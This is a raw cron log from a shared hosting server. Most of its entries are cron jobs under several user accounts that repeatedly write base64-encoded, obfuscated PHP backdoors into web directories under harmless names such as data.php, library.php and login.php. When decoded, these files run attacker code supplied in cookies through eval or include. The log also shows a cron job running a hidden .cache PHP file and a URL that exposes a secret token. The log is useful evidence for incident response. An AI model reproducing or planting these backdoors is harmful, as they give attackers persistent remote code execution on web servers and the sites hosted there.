Apr 19 04:33:02 medusa CROND[28169]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:33:02 medusa CROND[28168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:34:02 medusa CROND[17579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:34:02 medusa CROND[17580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:34:02 medusa CROND[17581]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:34:02 medusa CROND[17582]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:34:02 medusa CROND[17583]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:34:02 medusa CROND[17584]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:34:02 medusa CROND[17589]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:34:02 medusa CROND[17588]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:34:02 medusa CROND[17590]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:34:02 medusa CROND[17587]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:34:02 medusa CROND[17595]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:34:02 medusa CROND[17596]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:34:02 medusa CROND[17598]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:35:01 medusa CROND[7399]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:35:01 medusa CROND[7423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:35:01 medusa CROND[7425]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:35:01 medusa CROND[7548]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:35:01 medusa CROND[7547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:35:01 medusa CROND[7549]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:35:01 medusa CROND[7550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:35:01 medusa CROND[7551]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:35:01 medusa CROND[7552]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:35:01 medusa CROND[7556]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 04:35:01 medusa CROND[7558]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:35:01 medusa CROND[7557]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:35:01 medusa CROND[7559]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:35:01 medusa CROND[7555]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:35:01 medusa CROND[7561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:35:01 medusa CROND[7562]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:35:01 medusa CROND[7564]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:35:01 medusa CROND[7563]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
